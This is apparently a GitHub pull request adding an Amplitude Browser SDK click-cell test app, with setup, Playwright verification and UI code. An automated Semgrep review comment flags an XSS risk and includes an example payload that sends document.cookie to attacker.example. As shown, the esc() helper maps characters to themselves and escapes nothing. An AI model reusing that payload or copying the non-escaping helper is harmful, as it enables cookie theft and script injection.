Repository navigation
chore(examples): add click cell test app #2212
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,9 @@ | ||
| # Copy to .env (git-ignored) or export these in the shell / cloud agent secrets. | ||
| AMPLITUDE_API_KEY= | ||
| # US or EU | ||
| AMPLITUDE_SERVER_ZONE=US | ||
| # Optional: override the port (default 5180) | ||
| # PORT=5180 | ||
| # Optional, local mode only: checkout whose packages/analytics-browser is built (pnpm build). | ||
| # Default: this repository's own packages/analytics-browser. | ||
| # AMPLITUDE_SDK_LOCAL_PATH=/path/to/Amplitude-TypeScript/packages/analytics-browser |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,3 @@ | ||
| verify.png | ||
| node_modules/ | ||
| package-lock.json |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,53 @@ | ||
| # Click cell test app | ||
|
|
||
| A minimal Browser SDK page for checking the `[Amplitude] Element Click Cell`, `... Cell Min Size` and `... Cell Max Per Axis` properties on `[Amplitude] Element Clicked` events (HM-39). It initializes the SDK with `autocapture.elementInteractions` on and `fetchRemoteConfig: true`, shows green click targets of many sizes, and lists every outgoing event in a side panel (payload, plus a table of the three properties; the page also logs each event to the console and shows the remote config response and upload status codes). A keyboard click (Enter) shows the properties as `absent`; that is expected. | ||
|
|
||
| It is standalone (not part of the pnpm workspace) and uses `npm`. | ||
|
|
||
| ## Configuration | ||
|
|
||
| Nothing secret is committed. Provide these as environment variables, in a git-ignored `.env` in this folder (see `.env.example`), or as cloud agent secrets: | ||
|
|
||
| | Variable | Meaning | | ||
| |---|---| | ||
| | `AMPLITUDE_API_KEY` | API key of the Amplitude project to send to (required) | | ||
| | `AMPLITUDE_SERVER_ZONE` | `US` (default) or `EU` | | ||
| | `PORT` | dev server port, default `5180` | | ||
| | `AMPLITUDE_SDK_LOCAL_PATH` | local mode only: `packages/analytics-browser` of a built checkout; default is this repository's | | ||
|
|
||
| Query parameters on the page override the first two (`?apiKey=...&serverZone=EU`), and `?clickCell=<json>` sets a local `autocapture.elementInteractions.clickCell` (for example `?clickCell={"enabled":true,"minCellSizePx":32}`). Without `clickCell`, the option is left unset, so defaults or remote config decide. | ||
|
|
||
| ## Choosing the SDK: `sdk-version.txt` | ||
|
|
||
| The whole choice is the single line in `sdk-version.txt` (currently the HM-39 pre-release): | ||
|
|
||
| - a published version, for example `2.51.0-cursorhm-39-click-cell-9eb2.0` (the HM-39 pre-release, npm tag `cursorhm-39-click-cell-9eb2`), installs `@amplitude/analytics-browser@<version>` from npm; | ||
| - `local` uses the monorepo build instead. That checkout must be on `cursor/hm-39-click-cell-9eb2` (or contain the change) and built with `pnpm install && pnpm build` at the repository root. To use another checkout, set `AMPLITUDE_SDK_LOCAL_PATH`. | ||
|
|
||
| After changing the line, re-run `npm run setup`. The page's first table row shows which SDK is in use (`npm @amplitude/analytics-browser@<version>` or `local build ...`); check it before testing. | ||
|
|
||
| ## Run locally | ||
|
|
||
| ```bash | ||
| cd examples/browser/click-cell-test-app | ||
| export AMPLITUDE_API_KEY=... # or put it in .env | ||
| export AMPLITUDE_SERVER_ZONE=US # or EU | ||
| npm run setup | ||
| npm start # http://localhost:5180 | ||
| ``` | ||
|
|
||
| ## Run in a cloud agent VM | ||
|
|
||
| Same commands. The dev server listens on all interfaces and accepts any host, so a forwarded port or the VM's browser works. Supply the key as a secret environment variable (`AMPLITUDE_API_KEY`, `AMPLITUDE_SERVER_ZONE`) and never commit a `.env`. In local mode the repository must be built first (`pnpm install && pnpm build` at the root); with a published version nothing else is needed. | ||
|
|
||
| ## Headless check (no API key needed) | ||
|
|
||
| `npm run verify` drives headless Chromium against the running dev server with remote config and the upload endpoint mocked, clicks the 24x24, 100x40, 300x200 and 700x400 targets near their bottom-right corner plus an Enter key click, and prints the properties seen on the events and in the upload requests. First time: `npx playwright install chromium`. | ||
|
|
||
| ```bash | ||
| npm run verify # defaults | ||
| npm run verify -- '{"enabled":true,"minCellSizePx":32,"maxCellsPerAxis":3}' # remote clickCell | ||
| npm run verify -- '{"enabled":false}' # remote disabled: no properties | ||
| ``` | ||
|
|
||
| Expected with defaults: `1x1:0,0` for 24x24 and 100x40 clicked at the corner, `4x3:3,2` for 300x200, `10x6:9,5` for 700x400, each with min size 64 and max per axis 10, and no properties on the keyboard click. |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,70 @@ | ||
| <!doctype html> | ||
| <html lang="en"> | ||
| <head> | ||
| <meta charset="UTF-8" /> | ||
| <meta name="viewport" content="width=device-width, initial-scale=1.0" /> | ||
| <title>Click cell test app</title> | ||
| <style> | ||
| * { box-sizing: border-box; } | ||
| body { font: 14px/1.5 system-ui, sans-serif; margin: 0; display: flex; min-height: 100vh; } | ||
| main { flex: 1; padding: 16px 24px; min-width: 0; overflow: auto; } | ||
| aside { width: 460px; border-left: 1px solid #ccc; padding: 12px 16px; background: #f6f7f9; overflow: auto; max-height: 100vh; position: sticky; top: 0; } | ||
| h1 { font-size: 18px; margin: 0 0 4px; } | ||
| h2 { font-size: 14px; margin: 16px 0 6px; } | ||
| code, pre { font: 12px/1.4 ui-monospace, monospace; } | ||
| pre { background: #fff; border: 1px solid #ddd; padding: 8px; margin: 4px 0; white-space: pre-wrap; word-break: break-all; } | ||
| table { border-collapse: collapse; width: 100%; background: #fff; } | ||
| td, th { border: 1px solid #ddd; padding: 3px 6px; text-align: left; font-size: 12px; } | ||
| #status { padding: 6px 8px; background: #e8f0fe; border: 1px solid #b6ccf5; border-radius: 4px; margin: 8px 0; } | ||
| #status.warn { background: #fff4e0; border-color: #f0c070; } | ||
| .targets { display: flex; flex-wrap: wrap; gap: 16px; align-items: flex-start; } | ||
| .target { display: flex; align-items: center; justify-content: center; margin: 0; border: 2px solid #1a5; background: #e6f6ec; color: #063; text-decoration: none; cursor: pointer; font: 12px monospace; } | ||
| .target:hover { background: #cdeed9; } | ||
| #t-tiny { width: 24px; height: 24px; padding: 0; } | ||
| #t-small { width: 64px; height: 64px; } | ||
| #t-button { width: 100px; height: 40px; } | ||
| #t-medium { width: 300px; height: 200px; } | ||
| #t-wide { width: 100%; max-width: 900px; height: 30px; } | ||
| #t-tall { width: 40px; height: 360px; } | ||
| #t-large { width: 700px; height: 400px; } | ||
| #t-nested { width: 400px; height: 220px; border-color: #a51; background: #f8eee4; display: block; padding: 8px; } | ||
| #t-nested span { display: block; width: 120px; height: 60px; margin: 8px; background: #fff; border: 1px dashed #a51; } | ||
| #events { margin-top: 8px; } | ||
| .ev { margin-bottom: 8px; } | ||
| .ev h3 { margin: 0; font-size: 12px; } | ||
| .cell td:first-child { font-weight: 600; } | ||
| </style> | ||
| </head> | ||
| <body> | ||
| <main> | ||
| <h1>Click cell test app</h1> | ||
| <div id="status">Starting...</div> | ||
| <p>Click the elements below with the mouse. Each click sends <code>[Amplitude] Element Clicked</code>; the right panel shows the payload and the click cell properties. Pressing Enter on a focused element is a keyboard click and carries no click cell.</p> | ||
| <div id="config-summary"></div> | ||
|
|
||
| <h2>Click targets (CSS size in the label)</h2> | ||
| <div class="targets"> | ||
| <button id="t-tiny" class="target" title="24x24">24</button> | ||
| <button id="t-small" class="target">64x64</button> | ||
| <button id="t-button" class="target">100x40</button> | ||
| <a id="t-medium" class="target" href="#medium">300x200 link</a> | ||
| <button id="t-tall" class="target">40x360</button> | ||
| </div> | ||
| <div class="targets" style="margin-top: 16px"> | ||
| <button id="t-wide" class="target">full width up to 900x30</button> | ||
| </div> | ||
| <div class="targets" style="margin-top: 16px"> | ||
| <a id="t-large" class="target" href="#large">700x400 link</a> | ||
| </div> | ||
| <div class="targets" style="margin-top: 16px"> | ||
| <a id="t-nested" class="target" href="#nested">400x220 link containing a 120x60 child (click the child or the margin)<span>child 120x60</span></a> | ||
| </div> | ||
| </main> | ||
| <aside> | ||
| <h2 style="margin-top: 0">Outgoing events</h2> | ||
| <button id="clear" type="button">Clear</button> | ||
| <div id="events"></div> | ||
| </aside> | ||
| <script type="module" src="/src/main.js"></script> | ||
| </body> | ||
| </html> |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,16 @@ | ||
| { | ||
| "name": "click-cell-test-app", | ||
| "version": "1.0.0", | ||
| "private": true, | ||
| "type": "module", | ||
| "description": "Minimal Browser SDK app for checking the [Amplitude] Element Click Cell properties on Element Clicked events.", | ||
| "scripts": { | ||
| "setup": "node scripts/setup.mjs", | ||
| "start": "vite", | ||
| "verify": "node scripts/verify.mjs" | ||
| }, | ||
| "devDependencies": { | ||
| "playwright": "^1.55.1", | ||
| "vite": "^7.3.7" | ||
| } | ||
| } |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,16 @@ | ||
| import { readFileSync } from 'node:fs'; | ||
| import { execSync } from 'node:child_process'; | ||
| import { dirname, join } from 'node:path'; | ||
| import { fileURLToPath } from 'node:url'; | ||
|
|
||
| const root = join(dirname(fileURLToPath(import.meta.url)), '..'); | ||
| const version = readFileSync(join(root, 'sdk-version.txt'), 'utf8').trim(); | ||
| const run = (cmd) => execSync(cmd, { cwd: root, stdio: 'inherit' }); | ||
|
|
||
| run('npm install --no-audit --no-fund'); | ||
| if (version === 'local') { | ||
| console.log('\nsdk-version.txt is "local": using the monorepo build (see README). Nothing else to install.'); | ||
| } else { | ||
| run(`npm install --no-save --no-audit --no-fund @amplitude/analytics-browser@${version}`); | ||
| console.log(`\nInstalled @amplitude/analytics-browser@${version} from npm.`); | ||
| } |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,83 @@ | ||
| // Headless check that a pointer click sends the three click cell properties. | ||
| // Network is mocked (remote config + event upload), so no real API key is needed: | ||
| // npm run verify # defaults | ||
| // npm run verify -- '{"enabled":true,"minCellSizePx":32,"maxCellsPerAxis":3}' # remote clickCell | ||
| // Requires the dev server to be running (npm start) and Chromium (npx playwright install chromium). | ||
| import { chromium } from 'playwright'; | ||
| import { gunzipSync } from 'node:zlib'; | ||
|
|
||
| const base = process.env.APP_URL || `http://127.0.0.1:${process.env.PORT || 5180}`; | ||
| const remoteClickCell = process.argv[2] ? JSON.parse(process.argv[2]) : undefined; | ||
|
|
||
| const browser = await chromium.launch(); | ||
| const page = await browser.newPage({ viewport: { width: 1500, height: 1100 } }); | ||
| const uploads = []; | ||
|
|
||
| await page.route(/sr-client-cfg\.(eu\.)?amplitude\.com/, (route) => { | ||
| const elementInteractions = { pageViewsOnly: false }; | ||
| if (remoteClickCell !== undefined) elementInteractions.clickCell = remoteClickCell; | ||
| route.fulfill({ | ||
| status: 200, | ||
| contentType: 'application/json', | ||
| headers: { 'access-control-allow-origin': '*' }, | ||
| body: JSON.stringify({ | ||
| configs: { analyticsSDK: { browserSDK: { autocapture: { elementInteractions } } } }, | ||
| }), | ||
| }); | ||
| }); | ||
| await page.route(/api2?\.(eu\.)?amplitude\.com/, (route) => { | ||
| const cors = { 'access-control-allow-origin': '*', 'access-control-allow-headers': '*' }; | ||
| if (route.request().method() === 'OPTIONS') return route.fulfill({ status: 204, headers: cors }); | ||
| const raw = route.request().postDataBuffer() || Buffer.from('{}'); | ||
| const text = raw[0] === 0x1f && raw[1] === 0x8b ? gunzipSync(raw).toString() : raw.toString(); | ||
| uploads.push(JSON.parse(text)); | ||
| route.fulfill({ | ||
| status: 200, | ||
| contentType: 'application/json', | ||
| headers: cors, | ||
| body: JSON.stringify({ code: 200, events_ingested: 1, payload_size_bytes: 1, server_upload_time: Date.now() }), | ||
| }); | ||
| }); | ||
|
|
||
| await page.goto(`${base}/?apiKey=${process.env.AMPLITUDE_API_KEY || 'verify-fake-key'}`); | ||
| await page.waitForFunction(() => window.__amplitudeReady === true); | ||
| await page.waitForTimeout(1500); | ||
|
|
||
| const results = {}; | ||
| for (const id of ['t-tiny', 't-button', 't-medium', 't-large']) { | ||
| const before = await page.evaluate(() => window.__events.length); | ||
| await page.locator(`#${id}`).scrollIntoViewIfNeeded(); | ||
| const box = await page.locator(`#${id}`).boundingBox(); | ||
| await page.mouse.click(box.x + box.width - 2, box.y + box.height - 2); | ||
| await page.waitForTimeout(400); | ||
| results[id] = await page.evaluate( | ||
| (n) => window.__events.slice(n).filter((e) => e.event_type === '[Amplitude] Element Clicked').map((e) => e.event_properties), | ||
| before, | ||
| ); | ||
| } | ||
| await page.focus('#t-button'); | ||
| const kb = await page.evaluate(() => window.__events.length); | ||
| await page.keyboard.press('Enter'); | ||
| await page.waitForTimeout(400); | ||
| const keyboard = await page.evaluate((n) => window.__events.slice(n).map((e) => e.event_properties), kb); | ||
|
|
||
| await page.waitForTimeout(2500); | ||
| const clickUploads = uploads.flatMap((u) => u.events || []).filter((e) => e.event_type === '[Amplitude] Element Clicked'); | ||
|
|
||
| for (const [id, events] of Object.entries(results)) { | ||
| const p = events[0] || {}; | ||
| console.log(id, { | ||
| cell: p['[Amplitude] Element Click Cell'], | ||
| min: p['[Amplitude] Element Click Cell Min Size'], | ||
| max: p['[Amplitude] Element Click Cell Max Per Axis'], | ||
| }); | ||
| } | ||
| console.log('keyboard click props present:', Object.keys(keyboard[0] || {}).filter((k) => k.includes('Click Cell'))); | ||
| console.log('Element Clicked events in upload requests:', clickUploads.length); | ||
| console.log('first uploaded click event cell props:', clickUploads[0] && { | ||
| cell: clickUploads[0].event_properties['[Amplitude] Element Click Cell'], | ||
| min: clickUploads[0].event_properties['[Amplitude] Element Click Cell Min Size'], | ||
| max: clickUploads[0].event_properties['[Amplitude] Element Click Cell Max Per Axis'], | ||
| }); | ||
| await page.screenshot({ path: process.env.SCREENSHOT || 'verify.png' }); | ||
| await browser.close(); |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1 @@ | ||
| 2.51.0-cursorhm-39-click-cell-9eb2.0 |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,110 @@ | ||
| import * as amplitude from '@amplitude/analytics-browser'; | ||
|
|
||
| const CLICKED = '[Amplitude] Element Clicked'; | ||
| const CELL_PROPS = [ | ||
| '[Amplitude] Element Click Cell', | ||
| '[Amplitude] Element Click Cell Min Size', | ||
| '[Amplitude] Element Click Cell Max Per Axis', | ||
| ]; | ||
|
|
||
| const params = new URLSearchParams(window.location.search); | ||
| const apiKey = params.get('apiKey') || __AMPLITUDE_API_KEY__; | ||
| const serverZone = (params.get('serverZone') || __AMPLITUDE_SERVER_ZONE__).toUpperCase(); | ||
| const localClickCell = params.get('clickCell'); | ||
|
|
||
| const $ = (id) => document.getElementById(id); | ||
| const esc = (s) => String(s).replace(/[&<>]/g, (c) => ({ '&': '&', '<': '<', '>': '>' })[c]); | ||
| const setStatus = (text, warn) => { | ||
| $('status').textContent = text; | ||
| $('status').classList.toggle('warn', Boolean(warn)); | ||
| }; | ||
|
|
||
| const network = []; | ||
| const renderSummary = (extra = '') => { | ||
| $('config-summary').innerHTML = `<table> | ||
| <tr><td>SDK</td><td>${esc(__SDK_SOURCE__)}</td></tr> | ||
| <tr><td>Server zone</td><td>${esc(serverZone)}</td></tr> | ||
| <tr><td>API key</td><td>${apiKey ? esc(apiKey.slice(0, 4) + '...' + apiKey.slice(-2)) : 'NOT SET'}</td></tr> | ||
| <tr><td>Local clickCell option</td><td>${localClickCell === null ? '(not set: defaults, or remote config)' : esc(localClickCell)}</td></tr> | ||
| ${extra} | ||
| ${network.map((n) => `<tr><td>${esc(n.label)}</td><td>${esc(n.value)}</td></tr>`).join('')} | ||
| </table>`; | ||
| }; | ||
|
|
||
| // Surface the remote config response and event uploads on the page. | ||
| const originalFetch = window.fetch.bind(window); | ||
| window.fetch = async (input, init) => { | ||
| const url = typeof input === 'string' ? input : input.url; | ||
| const response = await originalFetch(input, init); | ||
| if (url.includes('sr-client-cfg')) { | ||
| const body = await response.clone().text(); | ||
| console.log('[click-cell-test-app] remote config', response.status, body); | ||
| network.push({ label: 'Remote config', value: `${response.status} ${body.slice(0, 300)}` }); | ||
| renderSummary(); | ||
| } else if (/amplitude\.com\/(2\/httpapi|batch)/.test(url) && init && init.body) { | ||
| console.log('[click-cell-test-app] upload', response.status, url); | ||
| network.push({ label: 'Event upload', value: `${response.status} ${url}` }); | ||
| renderSummary(); | ||
| } | ||
| return response; | ||
| }; | ||
|
|
||
| const cellPlugin = { | ||
| name: 'click-cell-test-app-viewer', | ||
| type: 'destination', | ||
| async setup() {}, | ||
| async execute(context) { | ||
| show(context); | ||
| return { event: context, code: 200, message: 'viewed' }; | ||
| }, | ||
| }; | ||
|
|
||
| function show(event) { | ||
| const isClick = event.event_type === CLICKED; | ||
| const props = event.event_properties || {}; | ||
| const rows = CELL_PROPS.map( | ||
| (name) => `<tr><td>${esc(name)}</td><td>${name in props ? esc(JSON.stringify(props[name])) : '<i>absent</i>'}</td></tr>`, | ||
| ).join(''); | ||
| const el = document.createElement('div'); | ||
| el.className = 'ev'; | ||
| el.innerHTML = `<h3>${esc(event.event_type)} (${new Date().toLocaleTimeString()})</h3> | ||
| ${isClick ? `<table class="cell">${rows}</table> | ||
| <div>element: <code>${esc(props['[Amplitude] Element Tag'] || '')}#${esc(props['[Amplitude] Element ID'] || '')}</code></div>` : ''} | ||
| <details ${isClick ? 'open' : ''}><summary>payload</summary><pre>${esc(JSON.stringify(event, null, 2))}</pre></details>`; | ||
|
Comment on lines
+70
to
+73
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟠 High severity blocking issue identified in your code: Why this might be safe to ignore:
To resolve this comment: 🔧 No guidance has been designated for this issue. Fix according to your organization's approved methods. 💬 Ignore this findingReply with Semgrep commands to ignore this finding.
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method. You can view more details about this finding in the Semgrep AppSec Platform. |
||
| $('events').prepend(el); | ||
| console.log(`[click-cell-test-app] ${event.event_type}`, JSON.parse(JSON.stringify(event))); | ||
| window.__events = window.__events || []; | ||
| window.__events.push(JSON.parse(JSON.stringify(event))); | ||
| } | ||
|
|
||
| $('clear').addEventListener('click', () => { | ||
| $('events').innerHTML = ''; | ||
| }); | ||
|
|
||
| function init() { | ||
| renderSummary(); | ||
| if (!apiKey) { | ||
| setStatus('No API key. Set AMPLITUDE_API_KEY (see README) or open with ?apiKey=...', true); | ||
| return; | ||
| } | ||
| const elementInteractions = {}; | ||
| if (localClickCell !== null) { | ||
| elementInteractions.clickCell = JSON.parse(localClickCell); | ||
| } | ||
| amplitude.add(cellPlugin); | ||
| const result = amplitude.init(apiKey, undefined, { | ||
| serverZone, | ||
| fetchRemoteConfig: true, | ||
| autocapture: { | ||
| elementInteractions: Object.keys(elementInteractions).length ? elementInteractions : true, | ||
| }, | ||
| }); | ||
| result.promise.then(() => { | ||
| renderSummary(`<tr><td>Device ID</td><td>${esc(amplitude.getDeviceId())}</td></tr>`); | ||
| window.__amplitudeReady = true; | ||
| setStatus('Ready. Click the green elements.'); | ||
| }); | ||
| window.amplitude = amplitude; | ||
| } | ||
|
|
||
| init(); | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟠 High severity blocking issue identified in your code:
renderSummarywrites the unescapedextravalue intoconfig-summary.innerHTML, so attacker-controlled markup can execute as JavaScript in the page’s origin.More details about this
renderSummaryassigns a template string to$('config-summary').innerHTML, and the${extra}interpolation is inserted without HTML escaping. UnlikeserverZone,apiKey,localClickCell, and thenetworkvalues,extracan add arbitrary markup to the page whenever a caller passes attacker-controlled content.A plausible attack path is:
extraargument, such as<img src=x onerror="fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))">through a configurable event or response handled by the test app.renderSummary(extra)with that value.config-summary.innerHTMLparses the value as HTML and executes the image'sonerrorhandler in the application's origin, allowing the attacker to read page data or perform actions as the victim.The existing
esc(...)calls protect the displayed configuration andnetworkfields, but they do not protect${extra}. The impact depends on whether untrusted data can reachrenderSummary'sextraparameter; that data flow is not shown in the supplied context.To resolve this comment:
✨ Commit fix suggestion
View step-by-step instructions
Remove the interpolated template from the
innerHTMLassignment. Build the table with DOM methods such asdocument.createElement,append, andtextContent.Add a helper that creates a row and assigns each value as text, for example:
const addRow = (table, label, value) => { const row = document.createElement('tr'); const labelCell = document.createElement('td'); const valueCell = document.createElement('td'); labelCell.textContent = String(label); valueCell.textContent = String(value); row.append(labelCell, valueCell); table.append(row); };Rewrite
renderSummaryto clear the container and append a constructed table:const container = $('config-summary'); container.replaceChildren(); const table = document.createElement('table'); addRow(table, 'SDK', __SDK_SOURCE__); addRow(table, 'Server zone', serverZone); addRow(table, 'API key', apiKey ? apiKey.slice(0, 4) + '...' + apiKey.slice(-2) : 'NOT SET'); addRow(table, 'Local clickCell option', localClickCell === null ? '(not set: defaults, or remote config)' : localClickCell);Replace
${extra}with structured row data or a DOM-building function. Do not appendextraas an HTML string; add each label and value throughtextContentandaddRow.Add the network entries without HTML interpolation:
network.forEach((entry) => addRow(table, entry.label, entry.value)); container.append(table);Values assigned throughtextContentare treated as text rather than parsed as HTML, so the existingescfunction is not needed for this rendering path.💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasonsAlternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method.
You can view more details about this finding in the Semgrep AppSec Platform.